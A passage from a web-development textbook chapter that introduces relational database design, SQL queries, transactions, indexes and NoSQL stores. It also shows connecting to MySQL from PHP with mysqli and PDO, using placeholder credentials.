Figure 14.2 Full Alternative Text

Although the same separation could be achieved by storing content in files on
the server, databases offer intuitive and optimized systems. Databases with
English-style queries are not only easier to use but can retrieve and update



data faster than basic file management techniques that would require custom-
built reading, parsing, and writing functions.

14.1.2 Database Design
In a relational database, a database is composed of one or more tables. A
table is the principal unit of storage in a database. Each table in a database is
generally modeled after some type of real-world entity, such as a customer or
a product (though as we will see, some tables do not correspond to real-world
entities but are used to relate entities together). A table is a two-dimensional
container for data that consists of records (rows); each record has the same
number of columns, which are more specifically called fields, which contain
the actual data. Each table will have one (or sometimes more than one)
special field called a primary key that is used to uniquely identify each record
in a table. Figure 14.3 illustrates these different terms.

Figure 14.3 A database table
Figure 14.3 Full Alternative Text

As we discuss database tables and their design, it will be helpful to have a



more condensed way to visually represent a table than that shown in Figure
14.3 . When we wish to understand what's in a table, we don't actually need
to see the record data; it is enough to see the fields, and perhaps their data
types. Figure 14.4 illustrates several different ways to visually represent the
table shown in Figure 14.3 . Notice that the table name appears at the top of
the table box in all three examples. They differ in how they represent the
primary key. The first example also includes the data type of the field, which
will be covered shortly.

Figure 14.4 Diagramming a
table

Figure 14.4 Full Alternative Text

One of the strengths of a database in comparison to more open and flexible
file formats such as spreadsheets or text files is that a database can enforce
rules about what can be stored. This provides data integrity (accuracy and
consistency of data) and can reduce the amount of data duplication, which are
two of the most important advantages of using databases. This is partly
achieved through the use of data types that are akin to those in a statically
typed programming language. A list of several common data types is
provided in Table 14.1.

Table 14.1 Common Database
Table Data Types



Type Description

BIT Represents a single bit for Boolean values. Also
called BOOLEAN or BOOL.

BLOB Represents a binary large object (which could,
e.g., be used to store an image).

CHAR(n)
A fixed number of characters (n = the number of
characters) that are padded with spaces to fill the
field.

DATE Represents a date. There are also TIME and
DATETIME data types.

FLOAT Represents a decimal number. There are also
DOUBLE and DECIMAL data types.

INT Represents a whole number. There is also a
SMALLINT data type.

VARCHAR(n)
A variable number of characters (n = the
maximum number of characters) with no space
padding.

One of the most important ways that data integrity is achieved in a database
is by separating information about different things into different tables. Two
tables can be related together via a foreign key, which is a field in one table
that is the same as the primary key of another table, as shown in Figure 14.5 .



Figure 14.5 Foreign keys link
tables

Figure 14.5 Full Alternative Text

Pro Tip
Database normalization is the advanced technique of designing database
tables so that data is entirely connected though foreign keys (rather than



duplicate data fields). Although this book does not cover formal theory,
consider that as we build relationships in our tables we want to eliminate
duplication, and use references whenever possible to increase the consistency
of data.

Tables that are linked via foreign keys are said to be in a relationship. Most
often, two related tables will be in a one-to-many relationship. In this
relationship, a single record in Table A (e.g., an art work table) can have one
or more matching records in Table B (e.g., artist table), but a record in Table
B has only one matching record in Table A. This is the most common and
important type of relationship. Figure 14.6 illustrates some of the different
ways of visually representing a one-to-many relationship.



Figure 14.6 Diagramming a
one-to-many relationship

Figure 14.6 Full Alternative Text

There are two other table relationships: the one-to-one relationship and the
many-to-many relationship. One-to-one relationships are encountered less
often and are typically used for performance or security reasons. Many-to-
many relationships are, on the other hand, quite common. For instance, a
single book may be written by multiple authors; a single author may write
multiple books. Many-to-many relationships are usually implemented by
using an intermediate table with two one-to-many relationships, as shown in
Figure 14.7 . Note that in this example, the two foreign keys in the
intermediate table are combined to create a composite key. Alternatively, the
intermediate could contain a separate primary key field.

Figure 14.7 Implementing a
many-to-many relationship

Figure 14.7 Full Alternative Text

Database design is a very substantial topic, one that is very much beyond the



scope of this book. Indeed in most university computing programs, there are
typically one or even two courses devoted to database design,
implementation, and integration. To learn more about database design, you
are advised to explore a book devoted to the topic, such as Database Design
for Mere Mortals: A Hands-On Guide to Relational Database Design or
Modern Database Management, both published by Pearson Education.

14.1.3 Database Options
Before we move on to the use of databases with MySQL, we should reiterate
that there are a number of alternate database solutions. We earlier mentioned
a variety of proprietary commerce enterprise database management systems
such as Oracle Database, IBM DB2, and Microsoft SQL Server. These
systems tend to be quite expensive, but provide a level of performance,
features, and support that can be attractive for large-scale sites, especially if
there were already legacy databases in use by the organization that either
predate its web presence or are connected to a software system outside of the
website, as shown in Figure 14.8 .



Figure 14.8 Databases in the
enterprise

Figure 14.8 Full Alternative Text

It should be mentioned that although MySQL is free, it can be and is used for



large and busy websites. Indeed many of the largest sites on the web, such as
Facebook and Flickr, make use of some form of MySQL.

While MySQL is exceptionally popular as a web database, there are other
open-source database systems. Perhaps the most common of these is
PostgreSQL, which is a sophisticated object-relational DBMS. With the
spread of mobile devices, many developers have become interested in smaller
database systems with fewer features. Perhaps the most widely used of these
is SQLite, a software library that typically is integrated directly within an
application rather than running as a separate process like most database
management systems, as shown in Figure 14.9 . One advantage of the SQLite
approach for web developers is that no additional database software is
required on the web server, which can be very attractive in hosting
environments that charge for database server connectivity.

Figure 14.9 SQLite



Figure 14.9 Full Alternative Text

Finally, there is another category of database that is gaining some headway in
the web world: the so-called NoSQL database. These databases do not make
use of SQL, are not relational in how they store data, and are optimized to
retrieve data using simple key-value syntax similar to that used with
associative arrays in PHP. NoSQL systems will be explored in greater depth
later in this chapter, once we learn about relational systems and SQL.



14.2 SQL
Although non-SQL options are discussed later in this chapter, relational
databases almost universally use Structured Query Language or, as it is more
commonly called, SQL (pronounced sequel) as the mechanism for storing
and manipulating data. While each DBMS typically adds its own extensions
to SQL, the basic syntax for retrieving and modifying data is standardized
and similar. This book focuses on core concepts and provides examples of
some of the more common SQL commands.

Note
Although the examples in the rest of this section use the convention of
capitalizing SQL reserved words, it is just a convention to improve
readability. SQL itself is not case sensitive.

14.2.1 SELECT Statement
The SELECT statement is by far the most common SQL statement. It is used to
retrieve data from the database.6 The term query is sometimes used as a
synonym for running a SELECT statement (though “query” is used by others
for any type of SQL statement). The result of a SELECT statement is a block of
data typically called a result set. Figure 14.10 illustrates the syntax of the
SELECT statement along with some example queries.



Figure 14.10 SQL SELECT
from a single table



Figure 14.10 Full Alternative Text

Hands-on Exercises Lab 14
Exercise
Querying a Database

The examples in Figure 14.10 return all the records in the specified table.
Often we are not interested in retrieving all the records in a table but only a
subset of the records. This is accomplished via the WHERE clause, which can
be added to any SELECT statement (or indeed to the SQL statements covered
in Section 14.2.2 below). That is, the WHERE keyword is used to supply a
comparison expression that the data must match in order for a record to be
included in the result set. Figure 14.11 illustrates some example uses of the
WHERE keyword.

Figure 14.11 Using the
WHERE clause



Figure 14.11 Full Alternative Text

The examples in Figures 14.10 and 14.11 retrieve data from a single table.
Retrieving data from multiple tables is more complex and requires the use of
a join. While there are a number of different types of join, each with different
result sets, the most common type of join (and the one we will be using in
this book) is the inner join. When two tables are joined via an inner join,
records are returned if there is matching data (typically from a primary key in
one table and a foreign key in the other) in both tables. Figure 14.12
illustrates the use of the INNER JOIN keywords to retrieve data from multiple
tables.



Figure 14.12 SQL SELECT
from multiple tables using an
INNER JOIN



Figure 14.12 Full Alternative Text

Finally, you may find occasions when you don't want every record in your
table but instead want to perform some type of calculation on multiple
records and then return the results. This requires using one or more aggregate
functions such as SUM() or COUNT(); these are often used in conjunction with
the GROUP BY keywords. Figure 14.13 illustrates some examples of aggregate
functions and a GROUP BY query.

Figure 14.13 Using GROUP BY
with aggregate functions



Figure 14.13 Full Alternative Text

14.2.2 INSERT, UPDATE, and
DELETE Statements
The INSERT, UPDATE, and DELETE statements are used to add new records,
update existing records, and delete existing records. Figure 14.14 illustrates
the syntax and some examples of these statements. A complete
documentation of data manipulation queries in MySQL is published online.7



Figure 14.14 SQL INSERT,



UPDATE, and DELETE
Figure 14.14 Full Alternative Text

Hands-on Exercises Lab 14
Exercise
Modifying Records

14.2.3 Transactions
Anytime one of your PHP pages makes changes to the database via an
UPDATE, INSERT, or DELETE statement, you also need to be concerned with the
possibility of failure. While this is a very important topic, it is an advanced
one, and if you are relatively inexperienced with databases, you may want to
skip over this section and return to it after going through Section 14.3.

Note
One of the more common needs when inserting a record whose primary key
is an AUTO_INCREMENT value is to immediately retrieve that DBMS-
generated value. For instance, imagine a form that allows the user to add a
new record to a table and then lets the user continue editing that new record
(so that it can be updated). In such a case, after inserting, we will need to pass
the just-generated primary key value in a query string for subsequent
requests.

Each DBMS has its own technique for retrieving this information. In
MySQL, you can do this via the LAST_INSERT_ID() database function used



within a SELECT query:

SELECT LAST_INSERT_ID()

You can also do this task via the DBMS API (covered in Section 14.3). With
the mysqli extension, there is the mysqli_insert_id() function and in PDO
there is the lastInsertID() method.

Perhaps the best way to understand the need for transactions is to do so via an
example. For instance, let us imagine how a purchase would work in a web
storefront. Eventually the customer will need to pay for his or her purchase.
Presumably, this occurs as the last step in the checkout process after the user
has verified the shipping address, entered a credit card, and selected a
shipping option. But what actually happens after the user clicks the final Pay
for Order button? For simplicity's sake, let us imagine that the following
steps need to happen:

1. Write order records to the website database.

2. Check credit card service to see if payment is accepted.

3. If payment is accepted, send message to legacy ordering system.

4. Remove purchased item from warehouse inventory table and add it to
the order shipped table.

5. Send message to shipping provider.

At any step in this process, errors could occur. For instance, the DBMS
system could crash after writing the first order record but before the second
order record could be written. Similarly, the credit card service could be
unresponsive, the credit card payment declined, or the legacy ordering system
or inventory system or shipping provider system could be down. A
transaction refers to a sequence of steps that are treated as a single unit, and
provide a way to gracefully handle errors and keep your data properly
consistent when errors do occur.

Some transactions can be handled by the DBMS. We might call those local
transactions since typically we have total control over their operation. Local



transaction support in the DBMS can handle the problem of an error in step
one of the above example process. However, other transactions involve
multiple hosts, several of which we may have no control over; those are
typically called distributed transactions. In the above order processing
example, a distributed transaction is involved because an order requires not
only local database writes, but also the involvement of an external credit card
processor, an external legacy ordering system, and an external shipping
system. Because there are multiple external resources involved, distributed
transactions are much more complicated than local transactions.

Local Transactions
MySQL (and other enterprise quality DBMSs) supports local transactions
through SQL statements or through API calls. The API approach will be
covered in Section 14.5.6. The SQL for transactions use the START
TRANSACTION, COMMIT, and ROLLBACK commands.8 For instance, the SQL to
update multiple records with transaction support would look like that shown
in Listing 14.1.

Listing 14.1 SQL commands for
transaction processing
/* By starting the transaction, all database modifications within the transaction will only be permanently saved in the database if they all work   */

START TRANSACTION 

INSERT INTO orders … 

INSERT INTO orderDetails … 

UPDATE inventory … 

/* if we have made it here everything has worked so commit changes */

COMMIT 

/* if we replace COMMIT with ROLLBACK then the three database changes would be “undone” */



Note
Not all MySQL database engines support transactions and rollbacks. Older
MySQL databases using MyISAM or ISAM do not support transactions.

Distributed Transactions
As mentioned earlier, distributed transactions are much more complicated
than local transactions since they involve multiple systems. Rather than
provide a complete explanation here, we will mention in general the basic
approach needed for distributed transactions.

Distributed transactions ensure that all these systems work together as a
single conceptual unit irrespective of where they reside. Distributed
transactions often contain more than one local transaction. Because multiple
systems using different operating systems and programming languages could
very well be involved, some type of agreement needs to be in place for these
heterogeneous systems to work together. One of these agreements is the XA
standard by The Open Group for distributed transaction processing (DTP).
This standard describes the interface between something called the global
transaction manager and something called the local resource manager, and
the interaction between them is illustrated in Figure 14.15 .



Figure 14.15 Distributed
transaction processing
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All transactions that participate in distributed transactions are coordinated by
the transaction manager. The transaction manager doesn't deal with the
resources (such as a database) directly during the execution of transaction.
That work is delegated to local resource managers. This process is sometimes
said to involve a two-phase commit, because in the first-phase commit, each
resource has to signal to the transaction manager that its requested step has
worked; once all the steps have signaled success, then the transaction
manager will send the command for the second phase commit to make it
permanent. There is also three-phrase commit protocol.

14.2.4 Data Definition Statements
All of the SQL examples that you will use in this book are examples of the
Data Manipulation Language features of SQL, that is, SELECT, UPDATE,
INSERT, and DELETE. There is also a Data Definition Language (DDL) in
SQL, which is used for creating tables, modifying the structure of a table,
deleting tables, and creating and deleting databases. While the book's
examples do not use these database administration statements within PHP,
you may find yourself using them indirectly within something like the
phpMyAdmin management tool. DDL statements and syntax can be found
online.9

14.2.5 Database Indexes and
Efficiency
One of the key benefits of databases is that the data they store can be
accessed by queries. This allows us to search a database for a particular
pattern and have a resulting set of matching elements returned quickly. In
large sets of data, searching for a particular record can take a long time.

Hands-on Exercises Lab 14



Exercise
Build an Index

Consider the worst-case scenario for searching where we compare our query
against every single record. If there are n elements we say it takes O(n) time
to do a search (we would say “Order of n”). In comparison, a balanced binary
tree data structure can be searched in O(log2 n) time. This is important,
because when we look at large datasets the difference between n and log n
can be significant. For instance, in a database with 1,000,000 records,
searching sequentially could take 1,000,000 operations in the worst case,
whereas in a binary tree the worst case is [log_21,000,000] which is 20! It is
possible to achieve O(1) search speed, that is—one operation to find the
result, with a hash table data structure. Although fast to search, they are
memory intensive, complicated, and generally less popular than B-trees
(which are different than binary trees): a combination of balanced n-ary trees,
optimized to make use of sequential blocks of disk access.

No matter which data structure is used, the application of that structure to
ensure results are quickly accessible is called an index. A database table can
contain one or more indexes. They use one of the aforementioned data
structures to store an index for a particular field in a table. Every node in the
index has just that field, with a pointer to the full record (on disk) as
illustrated in Figure 14.16 . This means we can store an entire index in
memory, although the entire database may be too large to load all at once.



Figure 14.16 Visualization of a
database index for our Books
table

Figure 14.16 Full Alternative Text

Indexes are created automatically for primary keys in our tables, but you may
define indexes for any field in a table or combination of fields. The creation
and management of indexes is one of the key mechanisms by which fast
websites distinguish themselves from slow ones. An index, represented by a
sorted binary tree in memory, allows searches to happen more quickly than
they could without one. Note that the height of the tree is the ceiling of
log2(n) where n is the number of elements.

These indexes are largely invisible to the developer, except in speeding up
the performance of search queries. Thankfully, we can benefit from the
design that went into creating efficient data structures without knowing too
much about them.



Most database management tools allow for easy creation of indexes through
the GUI without use of SQL commands. Nonetheless, if you are interested in
creating indexes from scratch, consider that the syntax is quite simple. Figure
14.16 shows a data definition SQL query that defines an index on the Title
column of our books table in addition to the primary key index.



14.3 NoSQL
NoSQL is category of database software that has grown in popularity in
recent years, especially in the areas of big data, analytics, and search.
Companies such as Apple, Facebook, Google, Twitter, CERN (to process
physics data from the Large Hadron Collider), and others develop and use
NoSQL tools in order to handle the massive amounts of data they encounter.

In relational databases, huge data sets can cause entry and retrieval operations
to perform slowly. Instead of modularizing the data into distinct tables and
relationships like we do with relational databases, NoSQL databases rely on a
different set of ideas for data modeling, ideas that put fast retrieval ahead of
other considerations like consistency. NoSQL database systems are willing to
accept some duplication of data, and place fewer restrictions on redundancy
than relational systems.

Note
For some examples of using NoSQL, look ahead to Chapter 20 on advanced
JavaScript, where we make use of MongoDb in greater detail.

Systems like Cassandra and MongoDB now power thousands of sites
including household names like Netflix, eBay, Instagram, Forbes, Facebook,
and others. These systems are designed to be deployed in a cloud architecture
and come with built-in tools to support these deployments as well as
advanced query languages, not entirely unlike SQL. Chapter 20 will provide
a practical introduction to MongoDB, one of these NoSQL systems.

NoSQL database systems rely on a range of modeling paradigms that differ
from the relational model used in SQL databases. Key-value stores,
Document stores, and Column stores are distinct strategies implemented by
the various NoSQL databases, all of which are different from the thinking of
relational systems.



14.3.1 Key-Value Stores
In key-value NoSQL systems each entry is simply a set of key-value pairs.
Key-value stores alone are very simplistic in that each record consists of one
key and one value (i.e., is, they are analogous to PHP arrays). This allows fast
retrieval through means such as a hash function, and precludes the need for
indexes on multiple fields as is the case with SQL. Key-value systems like
Oracle's NoSQL typically include support for very complicated values in the
key value pairs, making key-value systems foundational to the document
stores that build on them.

14.3.2 Document Stores
Document Stores (also called document-oriented databases) associate keys
with values, but unlike key-value stores, they call that value a document. A
document can be a binary file like a .doc or .pdf or a semistructured XML or
JSON document. By building on the simple retrieval of key-value systems,
document store systems can read and write data very quickly.

To illustrate how a NoSQL document store differs from a relational database,
consider the example in Figure 14.17 . Here a User's personal information
might be highly normalized across many tables. A document store, in
contrast, keeps the user's information together in a single object (in this case a
JSON object literal) associated with a key.



Figure 14.17 Contrast between



relational and NoSQL storage
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In order to get the equivalent data from a relational model, a relational
database has to join the foreign keys across other tables, which can be a time-
intensive operation when involving very complex queries or when the server
is experience high loads. In contrast, the document store requires no joins to
retrieve a single user.

It should be noted that the advantage of speed is offset by the challenge of
maintaining integrity of the data. Since there are no relational checks in the
NoSQL system, changes in one document will not easily be reflected in other
documents representing a similar user (while they would in a relational
model). In the relational model in the diagram, every address in Barcelona
will always have the country of Spain due to how the data is modeled. In the
document store approach, the system itself doesn't maintain data integrity in
the same way. Instead it is up to the application using it to maintain this
integrity. Thus, if data input mistakes are made, one document in the NoSQL
system might have Barcelona within Spain, but another might put it in
Sweden, an inconsistency that would not happen in a properly constructed
RDMS.

14.3.3 Column Stores
In traditional relational database systems, the data in tables is stored in a row-
wise manner. This means that the fundamental unit of data retrieved is a row.
To speed up those systems, indexes are used to create fast ways searching
across rows by field. Column store systems store data by column instead of
by row meaning that fetches retrieve a column of data, and that retrieving an
entire row requires multiple operations.

The advantage of column stores is that in a column the data is all of the same
type and so higher rates of compression can be achieved. The disadvantage is
that writing rows requires writing multiple times to the multiple column



stores.

Column stores are not a good choice for applications where rows of data are
typically accessed. However, if the majority of a (large data) application uses
only a few columns, column stores can offer speed increases, which is why
they are integrated into many systems including Cassandra.

A visual contrast of how row and columnar handle the same data is shown in
Figure 14.18 .



Figure 14.18 Contrast between
row and column wise stores
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14.4 Database APIs
Back in Figure 14.2 you saw that a server-side web technology such as PHP
or ASP.NET interacts with the DBMS via a database API, which refers to a
programming interface to the features of the database system. The term API
stands for application programming interface and in general refers to the
classes, methods, functions, and variables that your application uses to
perform some task. Some database APIs work only with a specific type of
database; others are cross-platform and can work with multiple databases.

14.4.1 PHP MySQL APIs
There are two basic styles of database APIs available in PHP. The first of
these styles is a procedural API, which uses function calls to work with the
database. The other style is an object-oriented API, which requires
instantiating objects and invoking methods and properties.

There are three main database API options available in PHP when connecting
to a MySQL database:

MySQL extension. This was the original extension to PHP for working
with MySQL and has been replaced with the newer mysqli extension.
This procedural API should now only be used with versions of MySQL
older than 4.1.3. (At the time of writing, the current version of MySQL
was 5.7.3.)

mysqli extension. The MySQL Improved extension takes advantage of
features of versions of MySQL after 4.1.3. This extension provides both
a procedural and an object-oriented approach. This extension also
supports most of the latest features of MySQL.

PHP data objects (PDOs). This object-oriented API has been available
since PHP 5.1 and provides an abstraction layer (i.e., a set of classes that
hide the implementation details for some set of functionality) that with

http://ASP.NET


the appropriate drivers can be used with any database, and not just
MySQL databases. However, it is not able to make use of all the latest
features of MySQL.

14.4.2 Deciding on a Database API
While PDO is unable to take advantage of some features of MySQL, there is
a lot of merit to the fact that PDO can create database-independent PHP code.
From the authors' perspective, it is not exactly uncommon for a web system,
as it grows, to need the ability to interact with databases from different
DBMSs. For instance, perhaps the core site data might stay in MySQL, but as
the site grows, it might need to interface with other database systems (as in
the example back in Figure 14.8 ).

In such a changing environment, you can either learn to make use of different
database extensions for these different databases (which gives you the
advantage of support for all the database features), or you could use PDO to
access multiple database types (but with the disadvantage of not being able to
use all of the database's features). Like many things in the web world, there is
no single best choice. Rather there are a series of trade-offs and it is up to you
to decide which are the most important factors for a given organizational
context.

Pro Tip
Although PDO is itself an abstraction layer, many PHP frameworks add their
own abstraction layer on top of PDO. This is an application of the adapter
design pattern, and is a common feature of many applications' design. In fact,
when starting to work on a large, already existing PHP system, one of the
first tasks you may have to do is learn the API of whatever abstraction layer
is being used to hide the specific database API being used in that project.
Chapter 17 will provide an example of such a database abstraction layer.

In the code examples in the next section, we will show how to do some of the



most common database operations using the procedural mysqli extension as
well as the object-oriented PDO. As the chapter (and book) proceed, we will
standardize on the object-oriented, database-independent PDO approach.



14.5 Managing a MySQL Database
While we do delegate most of the hands-on exercises to the book's labs, we
will make a brief digression here about the management of a MySQL
database.

Hands-on Exercises Lab 14
Exercise
Management Tools

You may have MySQL installed locally on your development machine, set
up on a laboratory web server, or set up on your web host's server. The
installation details are left to Chapter 20, but you can learn some key
techniques here to administer and manage your database. The tools available
to you range from the original command-line approach, through to the
modern workbench, where an easy-to-use toolset supports the most common
operations. Although you will be able to manipulate the database from your
PHP code, there are some routine maintenance operations that typically do
not warrant writing custom PHP code.

14.5.1 Command-Line Interface
The MySQL command-line interface is the most difficult to master, and has
largely been ignored in favor of visual GUI tools. The value of this particular
management tool is its low bandwidth and near ubiquitous presence on Linux
machines. To launch an interactive MySQL command-line session, you must
specify the host, username, and database name to connect to as shown below:

mysql -h 192.168.1.14 -u bookUser -p



Once inside of a session, you may enter any SQL query, terminated with a
semicolon (;). These queries are then executed and the results displayed in a
tabular text format. A screenshot of a series of interactions is illustrated in
Figure 14.19 .





Figure 14.19 Screenshot of
interactions with the books
database using the MySQL
command-line tool
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In addition to the interactive prompt, the command line can be used to import
and export entire databases or run a batch of SQL commands from a file. To
import commands from a file called commands.sql, for example, we would
use the < operation:

mysql -h 192.168.1.14 -u bookUser -p  < commands.sql

Although every MySQL operation can be done from the command line, there
are many developers, including the authors, who prefer using an easier-to-use
management tool that assists with SQL statement generation, while providing
a more visual and helpful suite of tools.

14.5.2 phpMyAdmin
A popular web-based front-end (written in PHP) called phpMyAdmin allows
developers to access management tools through a web portal.10 In addition to
providing a web interface to execute SQL queries, phpMyAdmin provides a
clickable interface that lets you navigate your databases more intuitively.

The package is freely downloadable and can be installed on any server
configured to support PHP with the MySQL extensions. You can therefore
install it on a production machine, or on your local development computer
where you could launch it by navigating to the URL
http://localhost/phpmyadmin, for example, as shown in Figure 14.20 .



Figure 14.20 phpMyAdmin
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Just as with the command-line interface, configuring phpMyAdmin requires
that we define a connection to the MySQL server. During the installation of
phpMyAdmin you edit config.inc.php, where there are clearly defined places
to put the host, username, and password as shown in Listing 14.2.

Listing 14.2 Excerpt from a
config.inc.php file for a
phpMyAdmin installation



$cfg['Servers'][$i]['host'] = 'localhost'; 

$cfg['Servers'][$i]['controluser'] = 'DBUsername'; 

$cfg['Servers'][$i]['controlpass'] = 'DBPassword'; 

$cfg['Servers'][$i]['extension'] = 'mysqli'; 

// use the mysqli extension

Note
From phpMyAdmin, you can create new databases, view data in existing
databases, run queries, create users, and other administrative tasks. The
separate hands-on exercises guide you through the process of using both the
command-line interface and the phpMyAdmin web interface. One of the
walkthroughs demonstrates how to run a SQL script, using the Import button
in phpMyAdmin.

This particular script contains a number of data-definition commands that
create one of the three sample databases used in one of the end-of-chapter
case studies as well as the SQL commands for inserting data. You can run
this script at any time to return the database back to its original state. The lab
also comes with the creation scripts for the other case study databases.

14.5.3 MySQL Workbench
The MySQL Workbench is a free tool from Oracle to work with MySQL
databases.11 Like phpMyAdmin, it provides a visual interface for building
and viewing tables and queries. It can be installed on any machine from
which the MySQL server permits connections. Being a native application
written just for MySQL, it does not rely on a particular server configuration
and provides better user interfaces than phpMyAdmin. It can also auto
generate an entity relationship diagram (ERD) from an existing database
structure, or you can design an ERD and have it become the basis for a
MySQL database! A screenshot of the workbench with table structure and
ERD views is shown in Figure 14.21 .



Figure 14.21 MySQL
Workbench
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Pro Tip
When a PHP management tool tries to connect to a MySQL server, it is
subject to the firewalls in place between it and the server. On a local
installation this is not a problem, but when connecting to remote servers there
are often restrictions on the MySQL port (3306).

To overcome these limitations, it is possible to use an SSH tunnel, which is
where you connect to a machine that is authorized to access the database



using SSH, then connect on port 3306 from that machine to the MySQL
server.



14.6 Accessing MySQL in PHP
The previous sections have provided some background information on
databases and the PHP APIs and MySQL tools available for working with
databases. Now it is time to actually learn the PHP for accessing databases!
As mentioned earlier, we will begin by showing you the techniques using the
procedural mysqli extension as well as the object-oriented PDO approach.
With both approaches, the basic database connection algorithm is the same:

Hands-on Exercises Lab 14
Exercise
MySQL Through PHP

1. Connect to the database.

2. Handle connection errors.

3. Execute the SQL query.

4. Process the results.

5. Free resources and close connection.

Figure 14.22 illustrates these steps within a sample. The following sections
will examine each of these steps in more detail.



Figure 14.22 Basic database
connection algorithm
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14.6.1 Connecting to a Database
Before we can start running queries, our program needs to set up a
connection to the relevant database. In the context of database programming,



a connection is like a pipeline of sorts that allows communication between a
DBMS and an application program. With MySQL databases, we have to
supply the following information when making a database connection: the
host or URL of the database server, the database name, and the database user
name and password.

Listings 14.3 and 14.4 illustrate how to make a connection to a database
using the mysqli and PDO approaches. Notice that the PDO approach uses a
connection string to specify the database details. A connection string is a
standard way to specify database connection details: it is a case-sensitive
string containing name=value pairs separated by semicolons.

Listing 14.3 Connecting to a
database with mysqli (procedural)
// modify these variables for your installation 

$host = “localhost”; 

$database = “bookcrm”; 

$user = “testuser”; 

$pass = “mypassword”; 

 

$connection = mysqli_connect($host, $user, $pass, $database);

Listing 14.4 Connecting to a
database with PDO (object-
oriented)
// modify these variables for your installation 

$connectionString = “mysql:host=localhost;dbname=bookcrm”; 

$user = “testuser”; 

$pass = “mypassword”; 

 

$pdo = new PDO($connectionString, $user, $pass);



Pro Tip
Database systems maintain a limited number of connections and are relatively
time intensive for the DBMS to create and initialize, so in general one should
try to minimize the number of connections used in a page as well as the
length of time a connection is being used.

Storing Connection Details
Looking at the code in Listings 14.3 and 14.4, you (hopefully) thought that
from a design standpoint hard-coding the database connection details in your
code is not ideal. Indeed, connection details almost always change as a site
moves from development, to testing, to production, and if you have many
pages, then remembering to change these details in all those pages each time
the site moves is a recipe for bugs and errors.

Remembering the design precept “separate that which varies from that which
stays the same,” we should move these connection details out of our
connection code and place it in some central location so that when we do
have to change any of them we only have to change one file.

One common solution is to store the connection details in defined constants
that are stored within a file named config.php (or something similar), as
shown in Listing 14.5. Of course, we absolutely must ensure that users cannot
access this file, so this file should be stored outside of the web root within
some type of folder secured against user requests.

Listing 14.5 Defining connection
details via constants in a separate
file (config.php)



<?php 

define('DBHOST', 'localhost'); 

define('DBNAME', 'bookcrm'); 

define('DBUSER', 'testuser'); 

define('DBPASS', 'mypassword'); 

?>

Once this file is defined, we can simply use the require_once() function as
shown in Listing 14.6.

Listing 14.6 Using the connection
constants
require_once('protected/config.php'); 

$connection = mysqli_connect(DBHOST, DBUSER, DBPASS, DBNAME);

14.6.2 Handling Connection Errors
Unfortunately not every database connection always works. Sometimes errors
occur when trying to create a connection for the first time; other times
connection errors occur with normally trouble-free code because there is a
problem with the database server. Whatever the reason, we always need to be
able to handle potential connection errors in our code.

There are a number of different ways of handling these errors. Listings 14.7
and 14.8 illustrate two possible ways (there are certainly others) to check for
a connection problem using the procedural mysqli approach.

Listing 14.7 Handling connection
errors with mysqli (version 1)
$connection = mysqli_connect(DBHOST, DBUSER, DBPASS, DBNAME); 

 



// mysqli_connect_error returns string description of the last  

// connect error 

$error = mysqli_connect_error(); 

if ($error != null) { 

   $output = “<p>Unable to connect to database<p>” . $error; 

   // Outputs a message and terminates the current script 

   exit($output); 

}

Listing 14.8 Handling connection
errors with mysqli (version 2)
$connection = mysqli_connect(DBHOST, DBUSER, DBPASS, DBNAME); 

 

// mysqli_connect_errno returns the last error code  

if (  mysqli_connect_errno()  ) { 

   die(  mysqli_connect_error()  );   // die() is equivalent to exit()

}

The approach in PDO for handling connection errors is quite different in that
it makes use of the try…catch exception-handling blocks in PHP. Listing
14.9 illustrates a typical PDO approach for handling exception errors.

Listing 14.9 Handling connection
errors with PDO
try { 

   $connString = “mysql:host=localhost;dbname=bookcrm”; 

   $user = DBUSER; 

   $pass = DBPASS; 

 

   $pdo = new PDO($connString,$user,$pass); 

   … 

} 

catch (PDOException $e) { 

   die(  $e->getMessage()  ); 

}



PDO Exception Modes
It should be noted that PDO has three different error-handling
approaches/modes.

PDO::ERRMODE_SILENT. This is the default mode. PDO will simply
set the error code for you, and this is the preferred approach once the site
is in normal production use.

PDO::ERRMODE_WARNING. In addition to setting the error code,
PDO will output a warning message. This setting is useful during
debugging/testing, if you just want to see what problems occurred
without interrupting the flow of the application.

PDO::ERRMODE_EXCEPTION. In addition to setting the error code,
PDO will throw a PDOException and set its properties to reflect the error
code and error information. This setting is especially useful during
debugging, as it stops the script at the point of the error.

You can set the exception mode via the setAttribute() method of the PDO
object, as shown in Listing 14.10.

Listing 14.10 Setting the PDO
exception mode
try { 

   $connString = “mysql:host=localhost;dbname=bookcrm”; 

   $user = DBUSER; 

   $pass = DBPASS; 

 

   $pdo = new PDO($connString,$user,$pass); 

// useful during initial development and debugging 

   $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 

   … 

}



Note
It is important to always catch the exception thrown from the PDO
constructor. By default PHP will terminate the script and then display the
standard stack trace, which might reveal sensitive connection details, such as
the user name and password.

14.6.3 Executing the Query
If the connection to the database is successfully created, then you are ready to
construct and execute the query. This typically involves creating a string that
contains the SQL statement and then calling one of the query
functions/methods as shown in Listings 14.11 and 14.12. Remember that
SQL is case insensitive, so the use of uppercase for the SQL reserved words
is purely a coding convention to increase readability.

Listing 14.11 Executing a SELECT
query (mysqli)
$sql = “SELECT * FROM Categories ORDER BY CategoryName”; 

 

// returns a mysqli_result object 

$result = mysqli_query($connection, $sql);

Listing 14.12 Executing a SELECT
query (pdo)
$sql = “SELECT * FROM Categories ORDER BY CategoryName”; 

 

// returns a PDOStatement object 

$result = $pdo->query($sql);



So what type of data is returned by these query functions? Although the
comments in the listings indicate that different data types are returned,
essentially both return a result set, which is a type of cursor or pointer to the
returned data. In the next section you will see how you can examine and
display this result set. If the query was unsuccessful (for instance, a query
with a WHERE clause that was not matched by the table data), then both
versions of the query function return FALSE.

14.6.4 Processing the Query Results
If you are running a SELECT query, then you will want to do something with
the retrieved result set, either display it, or perform calculations on it, or
search for something in it, or some other operation. The technique for doing
this with mysqli varies somewhat if one is using prepared statements. Listing
14.13 illustrates one technique for displaying content from a result set.

Listing 14.13 Looping through the
result set (PDO)
$sql = “SELECT * FROM Categories ORDER BY CategoryName”; 

 

// run the query 

$result = $pdo->query($sql); 

     

// fetch a record from result set into an associative array 

while ($row = $result->fetch()) { 

   // the keys match the field names from the table 

   echo $row['ID'] . “ - ” . $row['CategoryName']; 

   echo “<br/>”; 

}

Notice that some type of fetch function must be called to move the data from
the database result set to a regular PHP array. Once in the array, then you can
use any PHP array manipulation technique. Figure 14.23 illustrates the
process of fetching from the result set.



Figure 14.23 Fetching from a
result set
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Note
